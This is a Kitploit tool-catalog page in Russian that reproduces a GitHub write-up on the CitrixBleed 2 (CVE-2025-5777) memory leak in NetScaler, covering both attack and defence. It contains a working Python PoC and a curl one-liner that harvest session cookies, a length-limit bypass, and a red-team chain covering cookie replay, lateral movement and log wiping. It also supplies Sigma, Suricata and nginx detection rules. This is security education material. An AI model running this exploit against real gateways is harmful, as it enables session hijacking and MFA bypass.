Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CitrixBleed-2-CVE-2025-5777-PoC- — 详细讲解CitrixBleed 2 — CVE-2025-5777(越界泄漏)PoC 和检测套件 | Kitploit
Инструменты/GitHubGitHub/mingshenhk/citrixbleed-2-cve-2025-5777-poc-
Defensive ToolsVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & EducationRed TeamingIncident Response

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Labs & Practice
GitHubmingshenhk/citrixbleed-2-cve-2025-5777-poc-

CitrixBleed-2-CVE-2025-5777-PoC-

详细讲解CitrixBleed 2 — CVE-2025-5777(越界泄漏)PoC 和检测套件

Репозиторий
1721 год назадЕщё не проверено

CitrixBleed 2 (CVE-2025-5777) Полный разбор

Out-of-Bounds Memory Read в NetScaler ADC / Gateway — полное руководство от причин до атак и защиты


Использование PoC: python3 poc.py https://gateway.example.com

Использование эксплойта: python3 exp.py https://gateway.example.com admin 7acbb35f4d...

Содержание

root@kitploit:~
0x00  Введение / Краткий обзор
0x01  Предыстория: архитектура NetScaler и обзор CitrixBleed 1
0x02  Описание уязвимости (затронутые версии, CVSS, последствия эксплуатации)
0x03  Глубокий анализ механизма срабатывания (анализ исходного кода и скриншоты отладки)
0x04  Минимальный PoC + расширенный скрипт сканирования
0x05  Взгляд красной команды: полная цепочка атаки (обнаружение → утечка → перехват сессии → горизонтальное перемещение по сети)
0x06  Взгляд синей команды: обнаружение, криминалистика и проверка исправлений
0x07  Укрепление защиты: патчи, WAF, конфигурация, управление активами
0x08  Дорожная карта обучения / повторения и практические эксперименты
Приложение A Правила Sigma / Suricata / Nginx-Lua
Приложение B Временная шкала исправлений/эксплойтов и снимок IoC
Ссылки

0x00 Введение / Краткий обзор

  • CVE-2025-5777 (также известен как CitrixBleed 2) — это Out-of-Bounds Memory Read в Citrix NetScaler ADC / Gateway.
  • Атакующему не требуется аутентификация: достаточно отправить GET-запрос с чрезмерно длинным заголовком Host, чтобы устройство «выплюнуло» клиенту случайные блоки памяти вместе с HTTP-ответом.
  • Утечка данных часто содержит такие критически важные материалы, как NSC_USER / NSC_TASS Cookie, SAML StateContext, MFA token, которые можно напрямую использовать для перехвата сессии и обхода MFA (arcticwolf.com, tenable.com).
  • Базовая оценка CVSS v4 — 9.3 (Critical) (netscaler.com).
  • 2025-06-17 публичное раскрытие, 2025-06-23 Citrix расширяет зону влияния и выпускает патч; в течение недели ReliaQuest, Bishop Fox и другие компании по безопасности наблюдают резкий рост эксплуатации в дикой природе (reliaquest.com, bishopfox.com).

0x01 Предыстория

1.1 Краткое описание рабочего процесса NetScaler

root@kitploit:~
┌──────────────┐
│ Клиент       │ ① HTTPS
└──────┬───────┘
       │
┌──────▼───────┐
│ NetScaler    │ ② AAA / Gateway аутентификация
│  (WebProc)   │
└──────┬───────┘
       │
┌──────▼───────┐
│ ICA Proxy /  │ ③ Перенаправление к приложению
│ CVPN / RDP   │
└──────────────┘

NetScaler использует многопроцессную + внутреннюю IPC архитектуру. WebProc обрабатывает большинство HTTP-запросов по путям AAA / Gateway, включая /nf/auth/*, /oauth/* и т.д. Он активно использует snprintf() / memcpy() на языке C при сборке XML/HTML фрагментов.

1.2 Обзор CitrixBleed 1 (CVE-2023-4966)

  • В 2023 году аналогичная уязвимость была обнаружена в интерфейсе обнаружения OAuth /oauth/idp/.well-known/openid-configuration.
  • Её суть также заключалась в использовании возвращаемого значения snprintf в качестве параметра len для последующего send() → зацикленный вывод за границы памяти.
  • CitrixBleed 2 доказывает, что тот же тип дефекта безопасного кодирования всё ещё скрывается в других путях.

Вывод: если исправление безопасности направлено только на «конкретную точку», а не на «парадигму программирования», остаётся пространство для «шаблонного воспроизведения».


0x02 Описание уязвимости


0x03 Глубокий анализ механизма срабатывания

Этот раздел основан на декомпиляции прошивки 13.1-55.18 + отладке gdb, а также публичных блогах (bishopfox.com).

3.1 Точка входа уязвимости

  • URI: /nf/auth/startwebview.do
  • Управляемый параметр: HTTP заголовок Host
  • Этот интерфейс используется для генерации XML-перенаправления Citrix Workspace WebView. Пример нормального ответа:
root@kitploit:~
<AuthenticateResponse>
  <wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
  ...
</AuthenticateResponse>

3.2 Цепочка ключевых функций

root@kitploit:~
citrix_webview_handler()
 ├─ build_auth_xml()
 │    ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
 │    └─ return length;           // ⚠️ length может быть > 0x1800
 └─ ns_vpn_send_response(conn, 0x980200, buf, length);

Точка ошибки: snprintf возвращает «длину, которая должна была быть записана», а не фактически записанную длину; если переданный пользователем Host > 0x1800 - длина константной части, то length > sizeof(buf).

3.3 Схематическое отображение во время выполнения

root@kitploit:~
buf: [-----XML-----][OOB][OOB][OOB]......            <- 0x1800 bytes limit
                          ↑
                 отправляется вместе с ns_vpn_send_response

Точка остановки GDB (ключевые регистры):

root@kitploit:~
RDI (dst) = 0x7fffa2e31800  // buf
RSI (len) = 0x00001e42      // length=7746 (>6144)

Результат read() показывает, что последующие 1600 байт взяты из неинициализированной памяти, где видны буферы Cookie других SSL-сессий.

3.4 Категории утечки данных

КатегорияПример фрагмента (обезличен)
Session CookieSet-Cookie: NSC_USER=john.doe;NSC_TASS=abc123...
MFA/OTP Tokenradius_state=0e2a9c6d1553...
Другие тела запросов<username>audituser</username><password>***</password>

0x04 Реализация PoC

4.1 Python (15 строк)

root@kitploit:~
#!/usr/bin/env python3
# CVE-2025-5777 Минимальный PoC (ТОЛЬКО для авторизованного тестирования)
import requests, sys, urllib3, re
urllib3.disable_warnings()

if len(sys.argv) != 2:
    exit(f"Usage: {sys.argv[0]} https://NSVIP")

url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000}               # >0x1800 триггер
r = requests.get(url, headers=hdr, verify=False, timeout=10)

print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print("  Утечка Cookie ->", h.decode())

open("leak.bin", "wb").write(r.content)
print("[+] Сохранён leak.bin для офлайн-поиска.")
  • При выполнении, если возвращается 200 и несколько КБ, уязвимость считается подтверждённой.
  • Далее из leak.bin ищем ключевые слова, такие как Cookie=, <AuthenticateContext>.

4.2 Bash / curl one-liner

root@kitploit:~
curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
     https://NSVIP/nf/auth/startwebview.do -o leak.bin

Обход: некоторые устройства ограничивают длину Host на фронтальном F5 / Nginx; можно обойти, используя многосегментную поддоменную конкатенацию, например foo.foo.foo.…foo.example.com (повторить foo 3000 раз).


0x05 Взгляд красной команды: полная цепочка атаки

Реальный случай: ReliaQuest наблюдала на шлюзах клиентов «короткие всплески запросов с заголовком Host размером 6+ КБ → сразу за этим — кража сессии» (reliaquest.com).


0x06 Взгляд синей команды: обнаружение, криминалистика и проверка исправлений

6.1 Журналы и IoC

ИсточникСимптом
/var/log/ns.logAAA_TRANSACTION <client_ip> - Host header length: 6144

6.2 Правило Sigma (краткая версия)

root@kitploit:~
title: Утечка CitrixBleed2 через длинный заголовок Host
status: experimental
logsource:
  category: webserver
  product: netscaler
detection:
  selection:
    cs-uri-stem: "/nf/auth/startwebview.do"
    cs-bytes|gt: 2048
    c-host|strlen|gt: 4096
  condition: selection
level: critical

6.3 Скрипт проверки исправления

root@kitploit:~
nscli -s 127.0.0.1:3008 \
      -c "show ns version" | grep -E "13\.1-58\.32|14\.1-43\.56" \
      && echo "Исправлено ✅" || echo "Уязвимо ❌"

6.4 Завершение сессий

root@kitploit:~
# Очистить все активные VPN/ICA соединения
kill icaconnection -all
kill vpn -all

Примечание: после установки патча необходимо принудительно завершить сессии, чтобы не дать атакующему использовать уже украденные Cookie.


0x07 Укрепление защиты

  1. Официальный патч: обновиться до ≥ 14.1-43.56 / 13.1-58.32, или применить соответствующую версию для моделей FIPS/NDcPP (netscaler.com).
  2. Ограничение длины заголовка Host (временная мера)
root@kitploit:~
map $http_host $block_long_host {
    default          0;
    "~^.{4097,}$"    1;
}
server {
    ...
    if ($block_long_host) { return 413; }
}
  1. Адаптивные правила WAF: включить ограничение скорости для путей /nf/auth/ и /oauth/ (например, 20 запросов/мин).
  2. Инвентаризация активов: версии EOL 12.1/13.0 никогда не получат официальные патчи; планировать замену или жёсткую изоляцию (support.citrix.com).
  3. Безопасность MFA: утечка сессии обходит MFA → рекомендуется включить «подпись каждого запроса» или «динамическую привязку к аппаратному отпечатку», а не только проверять MFA при первом входе.

0x08 Дорожная карта обучения / повторения


Приложение A — Фрагменты обнаружения / защиты

📜 Полная версия правила Sigma
root@kitploit:~
title: Утечка Netscaler CitrixBleed2 через длинный заголовок Host
id: 4d6f1e1b-0bfe-4473-a732-3e7e9a21f650
status: experimental
description: Обнаруживает аномальную длину заголовка Host в запросах к /nf/auth/startwebview.do
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2025-5777
author: mingshenhk
logsource:
  product: netscaler
  service: http_access
detection:
  selection:
    cs-uri-stem: "/nf/auth/startwebview.do"
    c-host|strlen|gt: 4096
  condition: selection
level: critical
🛡️ Правило Suricata
root@kitploit:~
alert http any any -> any any (
  msg:"CitrixBleed2 CVE-2025-5777 переполнение заголовка Host";
  http.uri; content:"/nf/auth/startwebview.do"; nocase;
  http.header; field:Host; content:"AAAAAAAA"; within:0; distance:0; offset:4096;
  classtype:attempted-recon;
  sid:5777002; rev:1;
)
🔒 Nginx-Lua Inline Hotpatch
root@kitploit:~
-- access_by_lua_block
local host = ngx.var.http_host or ""
if #host > 4096 then
  ngx.log(ngx.WARN,"[CitrixBleed2] Заблокирован Host len=",#host)
  return ngx.exit(ngx.HTTP_REQUEST_HEADER_FIELDS_TOO_LARGE)
end

Приложение B — Временная шкала


Ссылки

  1. Официальное уведомление безопасности Citrix и описание патча (netscaler.com)
  2. Arctic Wolf «CVE-2025-5777 Технический брифинг» (arcticwolf.com)
  3. Bishop Fox «OOB Memory Read in NetScaler» (bishopfox.com)
  4. ReliaQuest «Threat Spotlight: CitrixBleed 2» (reliaquest.com)
  5. Tenable FAQ по CVE-2025-5777 (tenable.com)
  6. BleepingComputer новости безопасности (bleepingcomputer.com)
  7. Запись NVD CVE-2025-5777 (nvd.nist.gov)
  8. Citrix Support KB CTX693420 (support.citrix.com)

Конец — надеюсь, этот документ поможет вам полностью понять и реагировать на CitrixBleed 2. Если нужны дополнительные примеры, скрипты или руководства по упражнениям, обращайтесь!

Скачать инструмент
ПолеСодержание
CVECVE-2025-5777
ПсевдонимCitrixBleed 2
Тип уязвимостиOut-of-Bounds Read / утечка информации
CVSS v4 Base9.3 (Crit.) (netscaler.com)
Затронутые версии< 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS (netscaler.com)
Условия эксплуатацииNetScaler настроен как Gateway (VPN/ICA Proxy/CVPN/RDP Proxy) или AAA виртуальный сервер (arcticwolf.com)
Последствия эксплуатацииУтечка памяти → токены сессии → обход аутентификации / обход MFA → горизонтальное перемещение
ШагЦель и техника
① Обнаружение активовzoomeye search "http.title:\"NetScaler Gateway\"" + Shodan и т.д.; фильтр set-cookie: NSC_
② Утечка PoCПакетные скрипты, параллельные запросы; захват NSC_USER= ; NSC_TASS=
③ Повторное использование CookieChrome DevTools→Application→Cookies→добавить записи, обновить /vpn/index.html
④ Внутренние ресурсыДоступ к storeweb/#home для получения RDP файлов; загрузить .ica и войти напрямую в VDI
⑤ Повышение привилегийВнутренний Password Spraying, Kerberoast, ADCS ESC1; или использование слабого пароля SMB в том же сегменте
⑥ ПостоянствоСоздание Scheduled Task; регистрация автозапуска скриптов; или изменение vDisk NetScaler (требует высоких привилегий и халатности администратора)
⑦ Зачистка следовИспользовать Cookie и сразу удалять; удалить журналы аудита (если получен NS root); или использовать гонку logrotate для перезаписи
HTTP_ACCESS.logЗапросы к /nf/auth/startwebview.do с очень коротким временем обработки, но аномально большим размером ответа (> 2 КБ)
EDR/PCAPSet-Cookie: NSC_USER= в ответах на не-логин-запросы
ЭтапРекомендуемые материалы и действия
ТеорияПрочитать бюллетень безопасности Citrix, FAQ от Arctic Wolf / Tenable, технический разбор от Bishop Fox (arcticwolf.com, tenable.com, bishopfox.com)
ЭкспериментРазвернуть уязвимую версию 13.1-55.18 (ESXi / KVM), запустить минимальный PoC, захватить трафик Wireshark → наблюдать ответ TCP PSH
КодингДоработать PoC: добавить автоматическое повторное использование Cookie, пакетное сканирование ZTLS, многопоточную очередь
Синяя командаВ двухчасовом окне искать аномальную длину Host; применить Sigma → Elastic/Graylog; воспроизвести и проверить политики WAF
ОбменНаписать блог или сделать майнд-карту, обобщив «ловушки использования snprintf того же типа»
Дата (2025)Событие
06-17Citrix впервые публикует бюллетень CVE-2025-5777 (netscaler.com)
06-18Bishop Fox публикует первый технический разбор и PoC (bishopfox.com)
06-23Citrix обновляет список затронутых версий + версии патча; CISA включает в KEV
06-25ReliaQuest сообщает об активной эксплуатации; группы угроз массово воруют сессии (reliaquest.com)
06-27BleepingComputer сообщает о «вероятно, массовом использовании» (bleepingcomputer.com)
06-28Появляются несколько PoC на GitHub; Tenable публикует FAQ (tenable.com)